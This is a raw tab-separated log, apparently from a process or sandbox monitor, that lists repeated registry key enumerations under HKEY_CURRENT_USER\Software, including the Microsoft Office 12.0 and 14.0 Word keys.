Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
